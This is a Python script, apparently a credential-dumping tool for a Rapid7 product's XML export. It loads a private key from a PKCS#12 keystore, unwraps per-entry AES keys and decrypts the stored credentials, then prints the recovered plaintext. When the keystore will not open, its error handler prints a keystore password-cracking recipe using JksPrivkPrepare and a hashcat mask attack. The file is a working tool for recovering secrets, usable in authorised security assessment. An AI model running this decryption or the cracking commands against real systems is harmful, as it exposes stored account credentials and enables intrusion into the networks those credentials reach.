#/usr/bin/env python3 # Command line tool to take an XML file, pkcs12 file, and pkcs12 password # and decrypt credentials entries in the XML file import sys import argparse argparser = argparse.ArgumentParser(description='Dump r7 creds') argparser.add_argument('xmlfile', help='Filename of XML file with ') argparser.add_argument('pkcsfile', help='filename of keystore in PKCS12 format') argparser.add_argument('password', help='Keystore password') from cryptography.hazmat.primitives.serialization import pkcs12, PrivateFormat, Encoding, NoEncryption from cryptography.hazmat.backends import default_backend def get_private_key_from_pkcs12(pkcs12_path, password): """ Opens a PKCS#12 file and extracts the private key. Args: pkcs12_path (str): The path to the PKCS#12 file. password (str): The password for the PKCS#12 file (can be None if no password). Returns: cryptography.hazmat.primitives.asymmetric.rsa.RSAPrivateKey or cryptography.hazmat.primitives.asymmetric.ec.EllipticCurvePrivateKey: The private key object, or None if extraction fails. """ try: with open(pkcs12_path, "rb") as f: pkcs12_data = f.read() # Convert password to bytes if it exists password_bytes = password.encode('utf-8') if password else None private_key, certificate, additional_certificates = pkcs12.load_key_and_certificates( pkcs12_data, password_bytes, default_backend() ) return private_key except Exception as e: print(f"Error opening PKCS#12 file or extracting private key: {e}") print(f"You may need to convert your keystore to pkcs12:") print(f"keytool -importkeystore -srckeystore {pkcs12_path} -destkeystore new_{pkcs12_path} -deststoretype pkcs12") print(f"Or you may need to crack your keystore:") print(f"java -jar JKS-private-key-cracker-hashcat/JksPrivkPrepare.jar {pkcs12_path} > hash.txt") print(f"hashcat.bin -m 15500 -a 3 -1 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*' --increment --increment-min=6 --increment-max=12 hash.txt 'p?1?1?1?1?1?1?1?1?1?1?1' -O") print(f"Then re-run this command:") print(f"{sys.argv[0]} {args.xmlfile} new_{pkcs12_path} {password}") exit(1) import xml.etree.ElementTree as ET def extract_hex(credtxt, guid): if not credtxt or not guid: return {'hex_index': -1, 'byte_index': -1, 'needle': ''} idx = credtxt.find(guid) if idx == -1: print(f"Couldn't find guid {guid} in {credtxt}") exit() idx = idx+len(guid) hexlenstr = credtxt[idx:idx+4] idx = idx + 4 hexlen = 2* int.from_bytes(unhexlify(hexlenstr),'little') hexstr = credtxt[idx:idx+hexlen] if len(hexstr) != hexlen: print(f"Failed to extract {hexlen} characters at offset {idx} in {credtxt}") exit() return hexstr from binascii import unhexlify, hexlify saltguid = "bf460ee9-bb99-48e9-bf27-f35184d3644f" blobguid = "9888ed13-77fc-4b1b-a434-d424c6b0681d" keyguid = "e7218525-bef3-4686-95c0-9a3a3da63d88" def get_aes_key(filekey, privatekey): x = int.from_bytes(filekey) #print(f"x: {x}") y = pow(x, privatekey.private_numbers().d, privatekey.private_numbers().public_numbers.n) #print(f"y: {y}") ybytes = y.to_bytes(1000, 'big') #print(f"ybytes: {hexlify(ybytes)}") aeskey = ybytes[-32:] #print(f"aeskey: {aeskey}") return aeskey from Crypto.Cipher import AES from Crypto.Util.Padding import unpad def decrypt_aes_cbc_pkcs5_hex(blob, aeskey, salt): cipher = AES.new(aeskey, AES.MODE_CBC, salt) decrypted_padded_data = cipher.decrypt(blob) # Unpad the decrypted data using PKCS5 padding try: plaintext = unpad(decrypted_padded_data, AES.block_size) except: print(f"Failed to unpad ciphertext, you sure you're using the right keystore for this xml file?") exit() return plaintext def process_credential(credtxt, privatekey): saltstr = extract_hex(credtxt, saltguid) #print(f"salt: {saltstr}") salt = unhexlify(saltstr) blobstr = extract_hex(credtxt, blobguid) #print(f"blob: {blobstr}") blob = unhexlify(blobstr) keystr = extract_hex(credtxt, keyguid) key = unhexlify(keystr) #print(f"key: {key}") aeskey = get_aes_key(key, privatekey) #print(f"AES key: {hexlify(aeskey)}") plaintext = decrypt_aes_cbc_pkcs5_hex(blob, aeskey, salt) return plaintext def process_xmlfile(xmlfile, privatekey): try: tree = ET.parse(xmlfile) root = tree.getroot() except FileNotFoundError: print(f"Error: xml file {xmlfile} not found") exit(1) except ET.ParseError as e: print(f"Error: Error parsing XML file {xmlfile}: {e}") exit(1) for credential in root.iter('credentials'): credtxt = (credential.text or '').strip() if credtxt: plaintext = process_credential(credtxt, privatekey) import re pattern = re.compile(rb'[ -~]{4,}') matches = re.findall(pattern, plaintext) print(f"plaintext: {matches}") if __name__ == '__main__': args = argparser.parse_args() privatekey = get_private_key_from_pkcs12(args.pkcsfile, args.password) process_xmlfile(args.xmlfile, privatekey)